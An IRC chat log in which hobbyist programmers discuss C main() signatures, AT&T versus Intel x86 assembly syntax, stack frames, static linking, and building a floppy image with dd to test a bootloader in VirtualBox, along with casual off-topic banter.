22:26:07 <Slereah_> Error codes only matter if you're on an OS
22:26:51 <int-e> doesn't C++ have free-standing implementations?
22:27:40 <pikhq> Yes. g++ -ffreestanding for instance.
22:27:52 <kmc> g++ -fuck-tha-police
22:28:50 -!- MoALTz_ has quit (Quit: Leaving).
22:29:08 <Slereah_> The honorable judges MC RAM, Ice Cube and Easy-Motherfucking-E standing
22:29:19 <int-e> "It is implementation-defined whether a program in a freestanding implemeentation is required to define a main function.", hmm, that c++98
22:29:26 <fizzie> C++2003 says the same.
22:29:29 <int-e> but why would they change it :)
22:29:42 <fizzie> Except with "implementation" and not "implemeentation".
22:30:17 <fizzie> It does say: "It shall have a return type of type int, but otherwise its type is implementation-defined" that presumably refers to hosted implementations.
22:30:30 <fizzie> In contrast to C where the implementation-defined forms of main can change the return type too.
22:30:46 <int-e> fizzie: my fault, I can't type.
22:32:28 <elliott> Slereah_: int main is mandatory per the spec
22:32:39 <elliott> however in C99 you can do int main() { ... } and omit the return 0
22:32:58 <pikhq> C99 freestanding explicitly doesn't require main to return int.
22:33:16 <pikhq> Of course, C99 freestanding has a completely implementation-defined entry point.
22:33:21 <kmc> clang -fheinous-gnu-extensions
22:33:53 <Slereah_> elliott : I thought void main(void) was allowed for historical reasons?
22:34:08 <Slereah_> Also no compiler ever bitches about it
22:34:32 <pikhq> That's kinda irrelevant. What GCC and C99 permit are only loosely correlated.
22:34:54 <kmc> whois.nic.fish is an alias for whois.donuts.co.
22:35:04 <elliott> $ echo 'void main(void) {}' | gcc -x c -Wall - -o /dev/null<stdin>:1:6: warning: return type of ‘main’ is not ‘int’ [-Wmain]
22:35:11 <elliott> put a newline before <stdin> there
22:35:14 <pikhq> Especially in GCC's default mode, which is C90+crazy.
22:35:33 <kmc> i like C99
22:35:36 <kmc> haters gonna hate
22:35:41 <Slereah_> I'm not gonna let the machines control me
22:35:43 <coppro> C jumped the shark at C99
22:36:59 <Slereah_> Should I just use gcc for C stuff on le linux?
22:37:31 <kmc> gcc is the standard c compiler on linux
22:37:41 <Slereah_> Does it also do the decompiling?
22:37:48 <Bike> no, that's objdump
22:37:49 <kmc> do you mean disassembling?
22:37:53 <kmc> objdump -d ./myprog
22:37:55 <Bike> which is i think in binutils, which is probably there already
22:38:03 <kmc> yes or installing gcc will install binutils, at the least
22:38:10 <Slereah_> Well I will discover it soon enough
22:38:15 <kmc> on debian you should: apt-get install build-essential
22:38:54 <Slereah_> I should get a second PC someday
22:39:05 <Slereah_> Usually when I get a new PC I just cannibalize the old one and throw it away
22:39:27 <elliott> "apt-get install packaging-dev" is better
22:39:45 <kmc> if you want an IDE there are many
22:39:50 <kmc> but i can't recommend a particular one
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22:47:36 <zzo38> I always use GCC's default "GNU89" mode.
22:47:47 <zzo38> What does "C jumped the shark at C99" mean?
22:47:53 <kmc> quintopia: welcome to the desert of the real
22:48:36 <quintopia> zzo38: look up "jumping the shark" on tvtropes
22:48:41 <ais523> zzo38: "jumping the shark" is a reference to a TV show that got more and more desperate for ratings, doing ridiculous things, and eventually had a character jump over a shark
22:48:46 <ais523> at which point nobody took it seriously any more
22:49:02 <Slereah_> apparently the compiler doesn't actually translate int x; if you don't use it
22:49:25 <quintopia> ais523: why not name the show? having given us more spinoffs than any show i know of, it's certainly iconic
22:49:35 <ais523> quintopia: because I don't know what iti s
22:50:19 <Slereah_> What's $0 in the compiler assembly?
22:50:22 <kmc> constant 0
22:50:33 <kmc> beware that there are two styles of assembly syntax for x86, AT&T style and Intel style
22:50:39 <kmc> Linux / GNU tools mainly use the former and that's what you're looking at
22:50:47 <kmc> but most other stuff (esp. Windows) uses the latter
22:50:58 <Slereah_> What's the difference with just 0?
22:51:03 <Slereah_> Or was I using the other convention
22:51:03 <kmc> they differ in various ways, the most important is that AT&T does mov %src, %dst and Intel does mov dst, src
22:51:12 <kmc> where %src is a register like %rax, %rbx, etc.
22:51:22 <Slereah_> Oh fuck, I guess I was using the other convention
22:51:24 <kmc> Slereah_: 0 would be a memory operand which reads whatever's at address 0
22:51:29 <kmc> (in AT&T syntax)
22:51:42 <Slereah_> Are there any compiler that uses the other convention?
22:52:04 <kmc> objdump -M intel -d
22:52:16 <kmc> as for getting gcc -S to output Intel syntax, I don't know
22:52:20 <kmc> I doubt you can
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22:52:27 <Slereah_> I don't really want to learn another syntax again
22:52:37 <Sgeo> I have successfully extracted the Sheepie's Odyssey p3
22:52:51 <kmc> but gcc's assembler (as) can accept intel syntax, if you put ".intel_syntax noprefix" as the first line in the assembly file
22:53:18 <Slereah_> I guess eax is the register where you put the error code in gcc?
22:53:21 <zzo38> Maybe you could also convert GCC's output to Intel syntax using external programs
22:53:29 <kmc> but NASM is probably a better assembler to use on Linux, and it takes Intel syntax
22:53:31 <ais523> kmc: gcc's assembler is called gas
22:53:36 <kmc> ais523: ok
22:53:44 <kmc> you need to know AT&T syntax if you want to use GCC in-line assembly in C codes, of course
22:54:09 <kmc> Slereah_: yes http://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI
22:56:27 <fizzie> And if you do -masm=intel, you can use Intel syntax in inline asm() statements, too.
22:57:55 <Bike> "Recent examples include studies on duck penises, shrimp running on a treadmill, robotic squirrels, and snail sex."
22:58:40 <Bike> studies that politicians have said shouldn't be funded
23:01:04 <Slereah_> Maybe they will regret it when snails destroy their crops
23:02:54 <fizzie> ais523: "as" (or "GNU as") is arguably the proper name, and GAS just a nickname.
23:03:15 <fizzie> "This file is a user guide to the gnu assembler as (GNU Binutils) version 2.24."
23:03:34 <fizzie> The manual itself does call it "gas" or "GAS" here or there, though.
23:03:53 <Slereah_> If I say "It's a GAS!", will I be murdered
23:07:12 <quintopia> flumping hack dash is a CAS CASCAS
23:09:42 <fizzie> "libcuda1 [non-free] recommends libcuda1-i386 (provided by libcuda1-i386:i386 331.49-1)" that's kind of strange.
23:10:09 <fizzie> "This metapackage helps the automatic installation of the 32-bit NVIDIA CUDA library when installing libcuda1 on amd64 with foreign architecture i386 enabled."
23:10:41 <ais523> "recommended" currently has the semantics of "will install by default but doesn't break the build if it can't be installed"
23:11:11 <fizzie> Yes, but I don't think amd64 packages generally tend to recommend the i386 versions of those same packages.
23:11:30 <fizzie> I'm sure there's some particular-to-CUDA reason for it in this case, though.
23:12:09 <Sgeo> How worried should I be about eating something that says it's 49% DV sodium?
23:12:32 <Bike> cup noodle or something?
23:12:38 <fizzie> (The changelog entry -- "Add libcuda1-i386:i386 package that can be recommended from amd64 packages that want to make the 32-bit CUDA runtime available." -- isn't terribly verbose either.)
23:12:55 <Bike> just don't rely on it too much and it should be fine
23:13:46 <Sgeo> Well, was only planning on having one tonight
23:14:07 <pikhq> Be aware that that's 49% per serving.
23:14:10 <pikhq> It's two servings.
23:14:21 -!- trout has changed nick to variable.
23:15:25 <Slereah_> movq%rsp, %rbp < that's to reinitialize the stack, right?
23:16:02 <fizzie> In AT&T syntax, that's equivalent to Intel "mov rbp, rsp" and it's to set up rbp as a frame pointer.
23:16:41 <Sgeo> pikhq: says serving size is one container
23:16:49 <Slereah_> Define the top of the stack as the new base?
23:17:00 <Slereah_> So that you can't touch what's beneath?
23:17:36 <fizzie> It's for all the reasons why you'd generally want to have a frame pointer. Can be helpful for debugging, provides a handy reference point to access local variables, etc.
23:17:59 <fizzie> It doesn't *enforce* anything.
23:18:30 <fizzie> (The value of rbp doesn't affect the behavior of push/pop at all.)
23:18:49 <int-e> also enables alloca implementations
23:19:15 <Sgeo> Can I just put water in a styrofoam cup and microwave it?
23:19:18 <int-e> (which move the stack pointer, but leave the frame pointer intact)
23:19:33 <fizzie> int-e: Does glibc alloca() break if you compile with -fomit-frame-pointer?
23:19:43 <pikhq> glibc doesn't have an alloca().
23:19:48 <pikhq> alloca() is provided by GCC.
23:20:17 <fizzie> Well, does GCC alloca() break if etc.
23:20:33 <pikhq> And -fomit-frame-pointer only tells GCC to omit the frame pointer in cases where it's unneeded.
23:20:54 <pikhq> So no, it does not break in that case.
23:21:02 <kmc> just don't mix alloca() and VLAs
23:21:06 <pikhq> It just simply fails to omit the frame pointer IIRC.
23:21:08 <kmc> if you mix alloca() and VLAs you're gonna have a bad time
23:21:10 <pikhq> Yeah, those two mix weirdly.
23:21:35 <Slereah_> It's a handy reference for variables
23:21:44 <Slereah_> Since local variables are put in the stack
23:22:01 <int-e> it's like the top and bottom of a mini-heap on the stack.
23:22:38 <pikhq> Storing a base pointer also makes it quite easy to move the stack pointer to what it was on entry.
23:23:01 <fizzie> To be honest, it's much more handy when it comes to 16-bit x86 code.
23:23:12 <fizzie> (Because there's no [sp+X] addressing mode.)
23:23:29 <Slereah_> Because the compiler doesn't actually push and pop here
23:23:37 <Slereah_> It just writes movl$0, -4(%rbp)
23:23:40 <int-e> early intel processors much encouraged this because they didn't offer sp-relative addressing.
23:24:55 <int-e> oh and they had special instructions called enter and leave, for setting up and removing stack frames. I don't think they were ever used.
23:24:59 <Slereah_> I do if(x) and it does a cmpl?
23:25:14 <ais523> int-e: they're used in every function by some compilers
23:25:18 <int-e> Slereah_: no, the flags need to be set first
23:25:34 <Slereah_> I'm thinking of what's its name
23:25:54 <pikhq> The x86 conditional jumps are based on the condition flags, so yeah.
23:25:59 <fizzie> Even if the flags were set by a previous instruction, if you're not compiling with optimizations on the compiler's not likely to notice that.
23:26:40 <int-e> ais523: I said the wrong thing. I believe the explicit sequence was faster, except perhaps on the 80286 that introduced the instructions (if it wasn't the 186, I never know)
23:27:45 <Slereah_> Also... x++ is translated as addl$1, -8(%rbp) ?
23:27:47 <int-e> Oh, has jcxz made it to 64 bit mode? *checks*
23:29:26 <Slereah_> Wait, does inc work on memory?
23:29:43 <int-e> Slereah_: It'd be only 1 byte smaller. Perhaps the compiler writers didn't think that worthwhile.
23:30:00 <fizzie> Slereah_: "Assembly/Compiler Coding Rule 33. (M impact, H generality) INC and DEC instructions should be replaced with ADD or SUB instructions, because ADD and SUB overwrite all flags, whereas INC and DEC do not, therefore creating false dependencies on earlier instructions that set the flags."
23:30:01 <Slereah_> Seems a pretty natural translation?
23:30:05 <fizzie> (Intel optimization manual.)
23:31:56 <int-e> (The fact that not all flags are affected did occur to me, but I didn't think that the processor would then assume additional dependencies ... for things using just the zero flag, for example.)
23:32:23 <fizzie> From what I recall, it doesn't track individual flags separately.
23:32:46 <int-e> that makes sense, but doesn't meet my expectations.
23:34:21 <fizzie> "inc r32" (40 +rd) used to be whole two bytes shorter than "add r32, 1" (83 /0 ib; and correspondingly for r16) but then the one-byte INC opcodes 40..47 were repurposed as REX prefixes in 64-bit mode.
23:34:43 <int-e> yes. evil, nasty AMD.
23:35:44 <Slereah_> gcc -S -masm=intel works, thanks!
23:35:54 <fizzie> You can still make GCC use INC x instead of ADD x, 1 with -Os ("optimize for size").
23:36:16 <Slereah_> Are all the .cfi just markers?
23:36:34 <Slereah_> Do they do things or are they just there for debugging
23:36:40 <fizzie> Debugging information directives.
23:36:53 <fizzie> And/or for exception handling, I guess.
23:37:08 <int-e> what happens if you generate code for AMD? hmm.
23:38:06 <fizzie> http://sprunge.us/IScR -- that's an inc.
23:38:23 <int-e> "These directives tell gas to emit Dwarf Call Frame Information tags which are apparently used to reconstruct a stack backtrace when a frame pointer is missing."
23:39:13 <Slereah_> I do a putchar, and it just does "call putchar"?
23:39:30 <int-e> -march=athlon64 generates an inc. good.
23:39:41 <fizzie> Heh, using -Os also makes GCC do a plain "ret" instead of "rep ret" (when specifying no particular processor to optimize for) for the empty function.
23:39:56 <fizzie> (The whole "rep ret" thing is really silly.)
23:40:15 <Slereah_> Is there a way to generate the assembly file with the library function directly in it?
23:40:43 <Bike> static link the binary?
23:41:06 <fizzie> I think even AMD's later optimization manuals changed the recommendation from "rep ret" to something that's not as blatantly invalid.
23:41:25 <fizzie> Bike: That wouldn't include it in the assembler source, since no linking is involved at that time.
23:41:37 <Bike> yeah i'm pretending Slereah_ is going the objdump route
23:41:56 <Slereah_> Well let's try the objdump then
23:42:06 <Slereah_> As soon as the VM stops lagging
23:42:35 <Bike> i don't know how to do static linkage though. who even does that any more
23:42:42 <fizzie> It (probably) won't inline the call inside the function, but if you link it statically, it'll be part of the binary.
23:43:06 <Slereah_> It's unfortunate I don't know what it means
23:43:08 <Bike> you might be better off just looking at glibc source...
23:43:11 <fizzie> (Your objdump -d output is likely to be... somewhat big.)
23:43:20 <Bike> ok, well, when you write a program you are almost certainly going to need libraries
23:43:33 <Bike> in 'static linking' you accomplish this by basically just including the entire library binary in your program
23:43:50 <Slereah_> Can't the compiler just include the used functions?
23:44:03 <Bike> that would still mean a billion copies of p utchar on your drive, mon
23:44:15 <pikhq> It's done on a object file by object file basis.
23:44:18 <Slereah_> Sure, but this isn't for making programs right now
23:44:21 <ais523> well, the used object files, but static libraries are built with one object file per function for that reason
23:44:26 <Slereah_> Just to look at how it is built
23:44:34 <Bike> static linking is usually inefficient, obviously, so nowadays you usually use 'dynamic linking', where you put in your program a thing that says 'yo i need so and so library'
23:44:50 <fizzie> 141478 lines of output for objdump -d on a statically linked int main(void) { putchar(42); } program.
23:44:58 <Bike> and then when the program is run, t he interpreter (yes there is one) looks at that and includes the library binary at runtime instead.
23:46:00 <pikhq> fizzie: 986 if you use musl instead of glibc.
23:46:28 <Bike> let's see, where's that one paper on the subject
23:46:31 <fizzie> pikhq: So... glibc is over 143 times better, right?
23:47:13 <int-e> oh, this is good. http://repzret.org/p/repzret/
23:47:24 <fizzie> But the numbers are bigger!
23:47:33 <Bike> http://www.akkadia.org/drepper/dsohowto.pdf i think this was the one
23:47:51 <Bike> Slereah_: this will probably be informative for you.
23:48:34 <fizzie> int-e: Right, so it was "ret 0" that they changed the recommendation to.
23:50:03 <Slereah_> The disassembly of the program is pretty fucking huge
23:50:19 <Bike> welcome to the world
23:50:42 <int-e> fizzie: I like the qemu bug in the end.
23:50:48 <pikhq> glibc is... kinda not even remotely meant for static linking.
23:50:57 <fizzie> ais523: Heh, "python3-numpy" lists as dependencies "python", "python3.3" *and* "python3.4" all. (In sid, that is.)
23:51:31 <Bike> how coincidental, when i searched for this article by that asshole glibc maintainer i found something deriding static linking too
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23:52:21 <pikhq> Won't help, all that code is being pulled in by the glibc entry point.
23:52:33 <pikhq> glibc is really wonky with static linking for that matter. It dlopens stuff.
23:53:01 <Slereah_> and you wonder why i want to do assembly without an OS in the way!
23:53:05 <fizzie> pikhq: Hey, it did help "a bit"; from 141478 lines to 141380.
23:53:25 <fizzie> I do wonder why you are looking at the bullshit.
23:53:47 <fizzie> Since it's not at all relevant for doing some assembly.
23:54:11 <pikhq> http://sprunge.us/REEL Here, have something saner.
23:54:20 <Bike> well everyone learning assembly goes through the 'wow this is so inefficient! i can do better than this' stage, right. or was that just me
23:54:31 <Slereah_> Well I understand why it is there
23:54:44 <Slereah_> Because standardization and having to work with everything else
23:54:48 <pikhq> When discussing glibc, this is trivially true...
23:55:09 <pikhq> glibc is kinda a giant pile of accumulated cruft.
23:55:14 <Slereah_> It's just not really necessary for just writing some assembly in a vacuum for fun
23:55:30 <Bike> well, no. you could ahve just left it dynamically linked.
23:55:39 <Slereah_> Well right now there's nothing to link
23:55:59 <Bike> what is your program exactly? i thought it had putchar
23:56:13 <Bike> the main init stuff i guess, i've never been totally clear on how that works
23:56:21 <fizzie> That's not empty at all.
23:56:23 <fizzie> For the record, the line counts of objdump -d on a dynamically linked empty program and a single putchar are 170 and 175 lines, respectively.
23:57:10 <fizzie> You might be interested in http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html in respect to a "return 0;" program, though.
23:58:07 <fizzie> (It's still related to writing programs for an operating system, but still.)
23:58:09 <ais523> fizzie: written by one of the world's best INTERCAL programmer
23:59:04 <fizzie> I'm imagining some kind of an Elo ranking for INTERCAL programmers.
23:59:12 <Sgeo> Is it even safe to eat other foods if this isn't filling?
23:59:35 <zzo38> You are going to make a Elo rankings for INTERCAL programming?
23:59:56 <Bike> we'd fucking better
00:00:03 <Bike> Sgeo: as long as those other foods aren't mounds of salt
00:00:10 <zzo38> Yes make up such a Elo rankings
00:00:15 <Sgeo> Bike: does such food exist?
00:00:35 <Bike> oh, right, you usually eat incredible garbage
00:00:50 <Bike> in that case i'm gonig to say it's unsafe for you to eat anything because everything you eat is terrible
00:00:54 <Bike> just photosynthesize
00:01:22 <pikhq> Well, a potato chip is potato-flavored salt.
00:01:33 <Sgeo> On the plus side, this is not convenient food for me to make
00:01:49 <Sgeo> I don't have much in the way of clean microwave-safe containers. Boiling water in a pot now
00:02:07 <pikhq> http://sprunge.us/AjPf Unrelatedly, Lex is "clearly" the best way of producing compilers.
00:02:10 <Sgeo> So I don't think I'm going to be tempted to eat this frequently
00:02:14 <pikhq> As evidenced by this trivial case.
00:02:21 <Sgeo> Is pizza mounds of salt?
00:02:29 <Sgeo> If this isn't filling I may just go for pizza
00:02:35 <pikhq> Depends on the pizza.
00:02:41 <Sgeo> Plain cheese pizza
00:03:02 <Sgeo> Also I had a footlong Subway earlier, and two Lucky Charms bars
00:03:31 <pikhq> You worry about your nutrition a lot for someone who seems to eat random thingsw.
00:03:54 <fizzie> pikhq: Couldn't the ignore regex just be a "."?
00:04:16 <Bike> golly, it even optimizes
00:04:17 <fizzie> (For two matches of same length, the rule listed first is chosen.)
00:04:25 <pikhq> fizzie: Quite likely.
00:04:47 <fizzie> It's very possibly more efficient when it chomps more in one go, though.
00:04:49 <pikhq> This resulted from me sitting down and realizing I had literally done nothing with lex or yacc before.
00:05:39 <fizzie> http://sprunge.us/ABVC heh
00:06:00 <ais523> pikhq: there's less salt in a packet of crisps (potato chips) than there is in a slice of bread
00:06:04 <ais523> which is kind-of shocking, really
00:06:37 <pikhq> ais523: Might be true of UK crisps, but...
00:07:00 <pikhq> Though, US bread probably uses about as much salt and sugar as flour, so. :P
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00:13:59 <Sgeo> Why do lactaid chewable pills taste so good?
00:14:42 <Bike> what about rocks i've painted pictures of tigers onto
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00:20:43 <Sgeo> Wonder if there exist devices that let me pretend to have a second monitor
00:21:21 <Sgeo> Plug into VGA and USB, and it will somehow let you switch between "screens" with keypresses
00:23:31 <fizzie> Sounds more like a job for a piece of software.
00:23:44 <Sgeo> Was about to say, googled it and found some software results
00:29:13 <Sgeo> This stuff is kind of soupy
00:29:20 <Sgeo> I don't like soup, maybe I should learn to liek it
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00:35:17 <Taneb> Why are macros called macros
00:36:21 <Slereah__> Blargh, transferring things from the VM to the computer is not fun
00:37:13 <Slereah__> "FATAL: No bootable medium found! System halted."
00:37:21 <Slereah__> Well apparently I didn't do it that well
00:37:27 <lexande> Taneb: something about mapping short input sequences to longer ones?
00:37:37 <Taneb> lexande, seems likely
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00:38:53 <Bike> still better than macrophotography
00:49:16 <Slereah__> Dang, that bootloader thing still doesn't work.
00:50:56 <Slereah__> If the 4 bytes at 0x158 are 00 00 20 00, does that mean that the boot starts at 0x200000?
00:55:01 <fizzie> In x86, assuming little-endian (so 00 00 20 00 for 0x00200000) is usually the safer bet.
00:55:22 <fizzie> (Not sure what kind of boot loader that is. It's clearly not a regular BIOS-compatible boot sector.)
00:55:45 <Slereah__> Let's try one from the osdev people
00:57:30 <Sgeo> Ugh still hungry
00:57:42 <Sgeo> After having a ball of salt (not a literal ball of salt0
00:58:52 <pikhq> Try a literal ball of salt.
00:59:00 <fizzie> Google seems to suggest that "4 bytes at 0x158" refers to VirtualBox disk image format, which sounds not all that terribly relevant for simple bootloader things, since you can use raw floppy images with VirtualBox.
01:00:06 <Slereah__> I am just following this dude's tutorial, though
01:00:45 <Slereah__> I guess I could make some fake floppies though
01:03:21 <fizzie> As for transferring things between the VM to the computer, VirtualBox's "shared folders" are quite okay.
01:03:35 <Slereah__> I couldn't make it work so far though
01:03:41 <Slereah__> i don't know how to access it inside the VM
01:05:41 <fizzie> "In a Linux guest, use the following command: mount -t vboxsf [-o OPTIONS] sharename mountpoint". I think it worked pretty much out-of-the-box after installing the guest additions. Though this was a while ago.
01:06:02 <fizzie> (Just plain ssh daemon in the guest and winscp or something in the host is reasonable too.)
01:08:44 <zzo38> I have idea of a computer game, that you would fly from the center of Pluto to the center of the Earth, without crashing into any Gas Giant planets. Such thing as software library to calculate rotations of Mars and Pluto would be needed; the program "Swiss Ephemeris" can already calculate rotations of Earth.
01:10:05 <zzo38> It can make up a real date, perhaps even a date in the future (although the present date or a date in the past works too; ephemeris data can calculate for far past and far future), and figure out what date would result in a better (most interesting/challenging) game, since that would affect position of planets.
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01:16:09 <Bike> that sounds boring to play, but people play Eve, so
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01:16:40 <fizzie> People play Desert Bus.
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01:16:44 <zzo38> Probably it does, but it would be made more interesting by various ways
01:16:57 <zzo38> But you are correct in general
01:17:05 <zzo38> But I didn't write all about it of course!
01:17:22 <zzo38> Since it would take a long time, you could use warp drives and magical spells and so on to help
01:17:32 <zzo38> But it would complicate with a lot more things too.
01:17:45 <zzo38> Such as, going through space isn't the entire game
01:18:04 <zzo38> Since the surface and inside of planets is also important
01:18:14 <Slereah__> Welp putting it on a floppy didn't help
01:18:25 <Slereah__> Let's investigate this loading of boot more closely
01:18:42 <zzo38> Slereah__: What operating system are you using?
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01:19:22 <Slereah__> I guess the answer would be "none"?
01:19:31 <Slereah__> The virtual machine is on the windows though
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01:19:56 <zzo38> What kind of file system is it?
01:20:52 <Slereah__> i was trying to follow this tutorial : http://www.dreamincode.net/forums/blog/150/entry-2999-using-virtualbox-as-a-bootloader-testing-environment/
01:22:36 <fizzie> Copy-pasting a boot sector into a .vdi file with a hex editor seems like a really circuitous way, compared to the conventional floppy approach.
01:22:59 <Slereah__> I tried with a floppy, but I guess it's not a very good idea to use that bootloader for it
01:23:21 <zzo38> What exactly are you trying to copy?
01:23:23 <fizzie> The bootloader should be just fine for a floppy, since it just prints a string and hangs.
01:23:59 <Slereah__> I put the binary of said bootloader on a floppy and then booted up
01:24:21 <Slereah__> But it just tells me "No systemdisk. Booting from harddisk."
01:24:44 <fizzie> I don't know/remember what VirtualBox expects from a floppy image; possibly it wants a floppy-sized file with that at the beginning.
01:25:22 <Slereah__> It does also say "Disk formatted with MagicISO 4.70 (c) 2001-04 MagicISO, Inc."
01:25:22 <zzo38> It is possible to copy disk images on Windows by using the "DefineDosDevice" API.
01:25:24 <fizzie> (Not that I know how you made the floppy image, and how you stuck the boot sector binary in either.)
01:25:35 <Slereah__> So the problem might be that MagicISO added a bunch of stuff
01:26:01 <fizzie> Did you just copy the binary as a file on the floppy?
01:26:10 <Slereah__> Yeah that's probably not a good idea
01:26:24 <fizzie> Yes, no. It needs to be the first sector on the floppy.
01:26:45 <Slereah__> I suppose it might be "load boot image"
01:28:42 <fizzie> I wouldn't know anything about MagicISO; I've usually just used dd. Quick googling suggests that the "load boot image" might be inteded for making bootable CDs (with boot floppy images), but who knows.
01:29:57 <fizzie> It's a command-line tool for copying bytes.
01:31:00 <Bike> Slereah__: you can understand why having a filesystem isn't good here, right?
01:31:17 <Slereah__> that is not a frequent feeling but I wish I had a floppy drive right now
01:31:30 <fizzie> It'd be dd if=/dev/zero of=floppy.img bs=1024 count=1440; dd if=boot.bin of=floppy.img conv=notrunc in a Linux system to make a floppy-sized image of zeros, and then put boot.bin in front.
01:31:58 <fizzie> (Or any out of a number of alternative ways, of course.)
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01:32:24 <Bike> this reminds me that i should probably understand uefi better than i do
01:33:22 <Slereah__> Well there is most certainly a file now
01:33:33 <fizzie> (cat boot.bin; dd if=/dev/zero bs=512 count=2879) > floppy.img # another reasonable way
01:33:43 <Slereah__> Isn't there supposed to be more things other than the program and 0's for a virtual floppy?
01:34:12 <fizzie> If you want to put something on the floppy, sure, but there doesn't need to.
01:34:30 <Slereah__> I mean, aren't there data around the file?
01:34:44 <Slereah__> to tell the computer "hey that's a virtual floppy file"
01:35:01 <fizzie> There can be, but I'm reasonably sure VirtualBox doesn't mind raw images.
01:35:56 <fizzie> Bike: It's kind of boring, to have an actual executable file format for things you can run at boot.
01:36:25 <Bike> heh well, i liked it more than a bios when setting up this computer
01:36:38 <fizzie> (A variant of PE, even.)
01:36:52 <Bike> the large number of efi variables was more interesting to me, though
01:37:20 <fizzie> Bah; OpenBoot is where it's at.
01:37:30 <fizzie> There's not even a Forth interpreter in the UEFI standard.
01:37:42 <Bike> "Open Firmware may be accessed through its Forth language shell interface" i see your point
01:38:18 <zzo38> Having a Forth interpreter built-in to the BIOS is a good idea.
01:38:40 <fizzie> I think I tried out a Fibonacci or some other such standard simple test program in the boot prompt of my SparcStation.
01:39:48 <fizzie> Now you can start figuring out how to go from real mode to 64-bit mode.
01:40:28 <fizzie> Sure, but you did say you want to do x86-64.
01:40:41 <Slereah__> Sure, but gotta learn to walk before I can run
01:40:45 <Slereah__> Is real mode in x64 the same as the old timey real mode?
01:40:56 <Slereah__> That is, can I use the extra registers
01:41:33 <fizzie> You can't use the extra registers. There's no way to encode them in the opcode.
01:41:56 <fizzie> Since the prefix bytes used for that are repurposed actual instructions.
01:42:22 <fizzie> You can use the 32-bit wide registers in real mode, though.
01:42:27 <Slereah__> do you still have access to the interrupts in long mode by the way?
01:43:13 <fizzie> BIOS services? No, I think those pretty much all go out of the window when you ascend to protected mode. Which you will need to do before switching to long mode.
01:44:28 <Slereah__> Is there an equivalent of interrupts?
01:44:34 <Slereah__> Or do you have to do it all yourself
01:45:07 <fizzie> Incidentally, a slightly less painful way to write bare-metal code (compared to a 512-byte bootloader that loads more code and does mode switching) can be to write what you want to run in the form of a multiboot-compatible image (which doesn't have so many size restrictions), and have something like GRUB load that.
01:47:44 <Slereah__> Like how would you go about to print a letter in protected mode
01:47:53 <zzo38> They almost always worsen the PC design instead of making improvements. The original PC design was fine, and had a better keyboard too (although it is loud, it works better in general)
01:48:13 <Slereah__> Other than loading the sprite of the letter to the memory of the VGA
01:48:34 <zzo38> You should switch it to text mode and write to the corresponding tile address, if that still works.
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01:48:59 <fizzie> You can also just not switch away from text mode.
01:49:26 <fizzie> (But you would write into the video memory, and have to track e.g. cursor position manually.)
01:49:51 <Slereah__> But how can I use the text mode without interrupts, is what I'm asking
01:50:20 <Slereah__> http://courses.engr.illinois.edu/ECE390/books/labmanual/realprot-diff-interrupts.html
01:50:24 <zzo38> I don't think you need interrupts to use the text mode.
01:50:53 <zzo38> You just need to write into the proper memory address.
01:50:54 <Slereah__> Usually I load the letter into ax and then call an interrupt for such a thing
01:51:17 <zzo38> You can read/write it even during rendering and at any time, and even execute code from video memory, unlike the Famicom.
01:52:08 <fizzie> The link you provided is specific to code running under DOS, with a DPMI host available, for the record.
01:53:16 <Slereah__> Now what to do with all that power
01:53:37 <Slereah__> Maybe I should just paste my pong program in there, see if it works!
01:59:12 <Slereah__> Is $ just a reference to the beginning of the program?
01:59:17 <fizzie> The same as "foo: jmp foo".
01:59:24 <fizzie> $ is the current position in NASM.
02:00:08 <fizzie> (It's just "stop here", basically.)
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02:00:40 <ais523> do processors optimize a jump-to-self into a halt?
02:03:11 <Bike> Hey, has anyone seen 3d-modeled objects that cast weird shadows?
02:03:13 <fizzie> I don't think they do. Are the semantics not slightly different? (In terms of the jump instruction being modified by a DMA transfer or whatnot.)
02:03:20 <Bike> Like, I remember a cube that casts an "A" in one direction, a "B" in another...
02:04:30 <zzo38> Bike: Hofstadter's book "Godel, Escher, Bach" has picture of a object that casts shadow "G", "E", "B" in different directions.
02:04:40 <fizzie> Bike: http://www.shapeways.com/blog/archives/554-3d-printed-shadow-cloud.html is kind of like that.
02:04:46 <Bike> zzo38: oh shit, i totally forgot!
02:05:11 <zzo38> ais523: If you do it, it is wrong, depending on what the memory that it is executing from is mapped to.
02:05:28 <zzo38> It might trigger on reads or writes, or have bank switching.
02:05:29 <fizzie> (It seems to refer the GEB thing in the description.)
02:05:49 <ais523> zzo38: the processor needs to know about that nowadays, though, because modern processors do their own caching
02:07:21 <zzo38> ais523: Implicit caching is a bad idea, though.
02:08:29 <ais523> zzo38: perhaps, but it's necessary for modern computers to run at the speed they do, because most programs don't contain explicit cache control commands, and the processor is much faster than the memory it accesses
02:09:04 <zzo38> ais523: Yes, but it is a bad idea to design computers like that.
02:09:41 <zzo38> It overcomplicates and confuses too many things, and makes it unpredictable.
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02:10:04 <ais523> I guess there's a constant supply of tradeoffs between complexity and speed
02:10:19 <ais523> doing optimizations in one place (like caching) may cause optimizations in other places (like self-modifying programs) to fail
02:10:48 <Slereah__> You can unroll all your fucking loops~
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02:11:21 <zzo38> Better would be to run it at a slow speed (also saving power!) until the instruction is told to load into cache/microcode RAM, and then switch to it at a faster speed, which would make it faster than the memory, and can then access instruction and data simultaneously.
02:11:33 <ais523> loop unrolling often slows a system down nowadays, because you can fit less program in the cache if it's unrolled
02:11:43 <ais523> and correctly predicted jumps are pretty fast
02:11:51 <ais523> although I imagine it still often speeds things up
02:12:04 <zzo38> ais523: And that is a part of the bad idea too. It causes such problems.
02:12:28 <ais523> zzo38: GPUs do something like you suggested with respect to memory accesses
02:12:58 <ais523> they load into block memory (sort of like a cache) explicitly, and while waiting for the memory to load, the GPU's used to run other blocks instead
02:13:04 <ais523> so the memory access and the code run entirely in parallel
02:19:19 <zzo38> Yes, that would work well
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02:29:33 <ais523> however, GPUs /also/ have implicitly managed caches, like CPUs do
02:29:40 <ais523> just they're only allowed to be used for read-only data
02:29:55 <ais523> presumably to prevent synchronization problems
02:31:59 <zzo38> Well, my idea is different, make one that has no implicitly managed cache, and that the cache is only explicit.
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02:34:32 <zzo38> Same with pipelining, parallization, etc, are all only working explicitly.
02:34:55 <ais523> zzo38: are you familiar with what happened to the Itanium?
02:35:12 <ais523> it required explicit specification several things on every instruction
02:35:18 <ais523> and this probably made it fail, because compilers couldn't keep up
02:36:25 <zzo38> Then just tell it don't use such things. You can hand-code those things in if you need it.
02:39:37 <ais523> well, then it would be really slow on programs that didn't have those indications, by modern standards
